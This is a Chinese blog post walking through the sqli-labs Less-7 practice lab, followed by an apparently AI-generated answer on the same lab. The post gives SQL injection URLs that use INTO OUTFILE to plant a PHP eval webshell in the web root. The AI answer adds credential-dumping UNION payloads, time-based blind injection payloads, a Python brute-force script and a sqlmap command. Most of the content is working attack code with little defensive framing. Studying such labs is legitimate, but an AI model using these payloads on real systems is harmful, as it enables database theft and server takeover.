sqli-labs Less-7 Dump into outfile sql注入读写文件

本文介绍如何利用SQL注入技术进行文件读写操作,包括使用intooutfile语句导出数据到文件,以及如何确保MySQL用户有正确的权限进行此类操作。

Less-7 Dump into outfile sql注入读写文件

SQL语句只要正确就会输出 You are in … 错误就会输出You have an error in your SQL syntax
本例主要练习SQL注入读写文件
1、先了解一个语句:
into outfile 语句用于把表数据导出到一个文本文件中
要想mysql用户对文件进行导入导出,首先要看指定的权限目录
mysql 新版本下secure_file_priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的。
secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
查看secure-file-priv参数的值:
show global variables like ‘%secure%’;
在这里插入图片描述
可以看到默认的目录是/var/lib/mysql-files/
修改my.conf文件,在[mysqld]下面添加一条语句:
secure_file_priv =

修改配置文件my.conf后,看到就没有限制了,重启数据库生效,

2、SQL语句演示:
导出文件
根据此题情况,需要用到 into outfile 语句
语句演示:
select * from users into outfile “/var/lib/mysql-files/users.txt”;
在这里插入图片描述
cat /var/lib/mysql-files/users.txt
在这里插入图片描述
可以看到,查询到的内容已保存到指定的文件中。

3、实际应用
执行语句:
http://192.168.195.110/sqli-labs/Less-7/?id=-1%27))%20union%20select%201,%22hello%20world%22,3%20into%20outfile%20%22/var/lib/mysql-files/users2.txt%22%20–%20+
##查看配置文件得知闭合方式是 '))
将hello world写入到指定文件user2.txt中
在这里插入图片描述
目录下面已经新建了user2.txt并将内容写入成功。
在这里插入图片描述
此时我们可以将hello world换成一句话木马,然后通过蚁剑进行连接
http://192.168.195.110/sqli-labs/Less-7/?id=-1%27))%20union%20select%201,%22<php? @eval($_POST[‘123’]);?>%22,3%20into%20outfile%20%22/var/www/html/sqli-labs/user3.php%22%20–%20+
发现语句并没有写入成功,因为网站的根目录是/var/www/html/sqli-labs
目录的所有者和所属组都是apache,mysql对此目录没有写权限
在这里插入图片描述
给此目录的其他用户加上写权限
chmod o+w sqli-labs
在这里插入图片描述
然后再执行语句,此时成功写入,并可以成功连接。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
注:
1、要先了解mysql可操作的目录
2、要想写入到指定目录,还需要对此目录有写权限

<think>我们正在处理一个SQL注入问题,用户询问在BUUFTF环境下的sqli-labsLess-7关卡中获取usernamepassword的方法。根据引用[4],我们得知本关的SQL语句为:$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";,并且提示注入类型是字符串型,由单引号双括号包裹,参数id需要以'))闭合。 同时,引用[3]提到了布尔盲注步骤,引用[5]提到了时间盲注布尔盲注的实现大致一样,只是函数使用上的区别。由于Less-7关卡通常被归类为“导出文件”或“基于错误的注入”,但实际上在sqli-labs中,Less-7是使用文件导出(OUTFILE)进行注入的关卡。但是,根据用户提供的引用,似乎没有直接提到Less-7的解析,而是提到了其他关卡。 然而,用户明确要求Less-7的方法。根据sqli-labs的通常设置,Less-7是使用“Dump into outfile”技术的关卡。该关卡通常需要利用SQL注入将查询结果导出到服务器上的文件中,然后通过访问该文件来获取数据。 但是,请注意:在BUUFTF环境(可能是一个CTF平台)中,可能对文件写入的路径权限有特定设置。通常,我们需要知道Web服务器具有文件写入权限的目录(例如/var/www/html/),并且我们需要能够通过Web访问该文件。 步骤概述: 1. 判断注入点:根据引用[4],注入点是id参数,并且需要闭合单引号双括号。因此,我们首先需要构造一个有效的闭合,然后进行注入- 原始语句:SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1 - 闭合方式:')) 然后添加我们的注入代码,然后注释掉后面部分。例如:'))-- 注释掉后面的单引号括号。 2. 由于Less-7通常不能直接回显错误信息或查询结果,我们可能需要使用盲注(布尔或时间)或者利用文件导出。根据关卡设计,Less-7被设计为使用文件导出。 3. 利用文件导出(OUTFILE): - 我们需要构造一个注入,使得SQL语句将查询结果写入一个文件,然后我们可以通过URL访问该文件- 例如:将查询结果导出到Web目录下的一个文件中。 4. 构造注入语句: - 首先,我们需要闭合前面的语句,然后使用UNION SELECT将数据写入文件- 但是,注意原SQL语句有LIMIT 0,1,这可能会限制输出。我们可以通过注释掉LIMIT来避免限制。 5. 示例注入语句: - 假设Web服务器可写目录为/var/www/html/,我们可以尝试写入一个文件,例如'1.txt'。 - 注入载荷:')) UNION SELECT 1,2,3 INTO OUTFILE '/var/www/html/1.txt' --+ 但是,这里有几个问题: - 我们不知道Web目录的绝对路径。 - 我们可能需要猜测或通过其他方式获取路径(比如通过错误信息,但Less-7可能不显示错误)。 - 在BUUFTF环境中,路径可能是特定的。 因此,我们可能需要先获取Web目录的路径。如果无法获取,可能需要尝试常见的路径(如/var/www/html/、/var/www/html/、/usr/share/nginx/html/等)。 另外,引用[3]提到了布尔盲注,引用[5]提到了时间盲注。如果文件导出不可行,我们也可以使用盲注来逐字符获取数据。 但是,根据Less-7的设计,它通常被用来练习导出文件。所以,我们优先尝试文件导出方法。 具体步骤: 1. 判断注入点闭合方式:根据引用[4],我们需要以'))闭合。所以,我们在id参数后输入'))后,需要注释掉后面的部分。例如:?id=1')) --+ 应该返回正常页面。 2. 尝试导出文件- 使用UNION注入,将查询结果导出到文件。但是注意,UNION注入需要前后列数相同。原查询是SELECT * FROM users,根据上下文,应该是3列(id, username, password)。 - 所以我们构造:?id=1')) UNION SELECT 1,2,3 INTO OUTFILE '/var/www/html/less7.txt' --+ - 如果成功,访问http://[域名]/less7.txt,应该能看到内容为1,2,3。 3. 如果写入成功,我们就可以将我们想要的数据写入文件。例如,获取users表中的usernamepassword: - 构造:?id=1')) UNION SELECT 1,username,password FROM users INTO OUTFILE '/var/www/html/users.txt' --+ - 然后访问http://[域名]/users.txt,即可看到所有用户名密码。 4. 如果不知道路径,我们可以尝试使用相对路径,但通常OUTFILE要求绝对路径。所以我们需要获取路径。如何获取? -sqli-labs中,其他关卡可能提供错误信息,但Less-7没有。我们可以尝试读取一些包含路径信息的文件(如/etc/passwd)来推测,但这不是本关的重点。 - 或者,我们可以尝试写入一个文件到可能存在的目录,然后根据错误信息调整(但本关可能不显示错误信息)。 5. 如果文件导出失败(比如权限问题),我们可能需要使用盲注。 由于用户提供的引用[5]提到了时间盲注布尔盲注,我们可以考虑使用时间盲注来获取数据(因为布尔盲注需要页面有不同表现,而Less-7页面在布尔条件成立不成立时可能没有明显变化,所以通常使用时间盲注)。 时间盲注步骤(如果文件导出不可行): 1. 判断数据库名长度字符:通过延时函数(如SLEEP)来逐字符判断。 - 例如:?id=1')) AND IF(LENGTH(database())=8, SLEEP(5), 0) --+ 如果数据库名长度为8,则页面响应会延迟5秒。 2. 获取数据库名:逐字符判断。 - 例如:?id=1')) AND IF(SUBSTRING(database(),1,1)='s', SLEEP(5), 0) --+ 3. 获取表名、列名,最终获取usernamepassword。 但是,这个过程非常繁琐。因此,如果文件导出可用,应优先使用。 在BUUFTF环境下,我们可能无法写入文件(因为目录不可写或不知道路径),所以我们需要有备选方案。 根据用户提供的引用,引用[1][2][3][5]都是关于其他关卡的,但我们可以借鉴方法。例如,引用[3]提到了布尔盲注步骤,引用[5]提到了时间盲注。 因此,我们给出两种方法: 方法一:文件导出(推荐,如果可行) 1. 闭合注入点:使用'))闭合,并注释后面。 2. 尝试写入一个测试文件,使用常见Web路径(如/var/www/html/test.txt)。 - 注入:?id=1')) UNION SELECT 1,2,3 INTO OUTFILE '/var/www/html/test.txt' --+ 3. 访问http://[靶机域名或IP]/test.txt,如果看到内容为1 2 3(或1,2,3),则成功。 4. 导出用户信息:?id=1')) UNION SELECT 1,username,password FROM users INTO OUTFILE '/var/www/html/users.txt' --+ 5. 访问users.txt获取数据。 方法二:时间盲注(当文件导出不可用时) 1. 使用时间盲注逐字符获取数据库名、表名、列名,然后获取数据。 2. 构造注入语句,使用IFSLEEP函数(或BENCHMARK)进行延时判断。 - 例如,获取数据库名的第一个字符: ?id=1')) AND IF(ASCII(SUBSTRING(database(),1,1))>100, SLEEP(5), 0) --+ 通过不断调整ASCII值,直到条件成立(即延时5秒),确定字符。 3. 同样方法获取表名(如'users')、列名(如'username','password'),然后获取表中的数据。 由于时间盲注过程较长,通常需要编写脚本自动化。这里不展开详细步骤,但提供基本思路。 注意:在Less-7中,由于是单引号加双括号包裹,所以闭合方式为')),并且注意在注入时使用注释符(--+或#)注释掉后面的部分。 根据引用[4],我们已知注入类型闭合方式,所以可以开始注入。 由于用户要求的是BUUFTF环境,可能这个环境已经配置好,并且我们已知Web路径。在BUU的CTF平台中,可能路径是已知的或者可以尝试出来。我们可以尝试一些常见路径,或者利用错误信息(但本关不显示错误)。 因此,我建议首先尝试文件导出方法,因为这是Less-7的预期解法。如果导出失败,再考虑时间盲注。 最后,由于我们不知道BUUFTF环境的具体配置,我们只能提供一般方法。用户需要根据实际情况调整(比如路径)。 下面,我们将步骤总结一下: ### 文件导出方法步骤 1. 构造注入:将测试内容写入文件 ``` ?id=1')) UNION SELECT 1,'test','test' INTO OUTFILE '/var/www/html/test.txt' --+ ``` 注意:这里我们假设路径为/var/www/html/,如果不行,尝试其他常见路径,如: - /var/www/html/ - /var/www/ - /usr/share/nginx/html/ - /var/www/localhost/htdocs/ - /opt/lampp/htdocs/ 等 2. 访问test.txt文件,如果成功,则进行下一步。 3. 导出用户数据: ``` ?id=1')) UNION SELECT 1,username,password FROM users INTO OUTFILE '/var/www/html/users.txt' --+ ``` 4. 访问users.txt,获取所有用户名密码。 ### 时间盲注方法步骤(当文件导出无效时) 1. 判断数据库名长度: ``` ?id=1')) AND IF(LENGTH(database())=8, SLEEP(5),0) --+ ``` 如果响应时间约为5秒,则数据库名长度为8。 2. 逐字符获取数据库名: ``` ?id=1')) AND IF(ASCII(SUBSTRING(database(),1,1))>97, SLEEP(5),0) --+ ``` 调整ASCII值位置,直到确定所有字符。 3. 获取表名(假设我们已知数据库名为'security'): ``` ?id=1')) AND IF((SELECT COUNT(*) FROM information_schema.tables WHERE table_schema='security' AND table_name='users')=1, SLEEP(5),0) --+ ``` 或者逐字符获取表名(这里以第一个表名为例): ``` ?id=1')) AND IF(ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),1,1))>100, SLEEP(5),0) --+ ``` 4. 获取列名(表users中的列): ``` ?id=1')) AND IF(ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='users' AND column_name LIKE 'username%' LIMIT 0,1),1,1))>100, SLEEP(5),0) --+ ``` 5. 获取数据(例如获取用户表中的第一个用户名): ``` ?id=1')) AND IF(ASCII(SUBSTRING((SELECT username FROM users LIMIT 0,1),1,1))>100, SLEEP(5),0) --+ ``` 6. 重复以上步骤,获取所有数据。 注意:时间盲注非常耗时,建议编写脚本自动化。 在BUUFTF环境中,如果文件导出不可用,那么时间盲注是可行的。 由于用户没有提供BUUFTF环境的具体信息(如路径),我们只能提供通用方法。 最后,请注意,在Less-7中,有时会因为MySQL的secure_file_priv设置而无法导出文件。在BUUFTF环境中,这个设置可能被配置为允许导出到特定目录(如/tmp/),但/tmp/目录可能无法通过Web访问。所以,我们仍然需要Web可访问目录。 如果环境允许,我们可以尝试导出到/tmp/目录,然后通过其他方式读取(比如文件包含),但Less-7没有提供文件包含功能。因此,我们只能导出到Web目录。 综上所述,我们优先尝试文件导出方法,并尝试常见Web目录。 希望这些方法能帮助用户解决问题。 </think> 在BUUFTF环境下的sqli-labs Less-7关卡中,获取usernamepassword主要可以通过两种方法实现:**文件导出法**(关卡预期解法)**时间盲注法**(备选方法)。以下是详细步骤: ### 方法一:文件导出法(推荐) 1. **闭合注入点** 根据引用[4],SQL语句为: $$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";$$ 需使用`'))`闭合单引号双括号,注释剩余部分: ``` ?id=1')) --+ ``` 2. **获取Web绝对路径** 通过报错或默认路径猜测Web目录(常见路径): ```sql ?id=1')) and updatexml(1,concat(0x7e,(@@basedir),0x7e),1) --+ ``` 常见路径示例: `/var/www/html/` `/var/www/` `/opt/lampp/htdocs/` 3. **导出数据到文件** 将查询结果写入Web目录(假设路径为`/var/www/html/result.txt`): ```sql ?id=1')) union select 1,2,group_concat(username,0x3a,password) from users into outfile '/var/www/html/result.txt' --+ ``` - `group_concat()`合并所有结果 - `0x3a`是冒号`:`的十六进制,用于分隔用户名密码 4. **访问结果文件** 浏览器打开:`http://靶机IP/result.txt` 输出格式:`admin:123456,dummy:password,...` ### 方法二:时间盲注法(备选) 当文件导出不可用时(如目录无写权限): 1. **逐字符获取数据** 使用`if()`+`sleep()`判断字符,以获取数据库名首字符为例: ```sql ?id=1')) and if(ascii(substr(database(),1,1))>100, sleep(3),0) --+ ``` - 若响应延迟3秒,说明ASCII值>100 - 通过二分法确定精确值(如`s`的ASCII为115) 2. **自动化脚本示例(Python)** ```python import requests url = "http://靶机IP/Less-7/?id=1'))" payload = "and if(ascii(substr((select group_concat(username,0x3a,password) from users),{},1))={}, sleep(3),0) --+" result = "" for i in range(1, 100): for c in range(32, 127): params = {'id': payload.format(i, c)} try: r = requests.get(url, params=params, timeout=2.5) except: result += chr(c) print(result) break ``` - 遍历字符位置`i`ASCII值`c` - 超时判断说明字符匹配成功 ### 关键要点 1. **闭合方式**:必须使用`'))`(双括号+单引号)[^4] 2. **路径问题**:若未知路径,尝试默认路径或利用报错 3. **盲注优化**:优先查`users`表,减少猜测范围 4. **工具推荐**:sqlmap自动注入(命令示例): ```bash sqlmap -u "http://靶机IP/Less-7/?id=1" --technique=T --dbms=mysql --batch ```
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值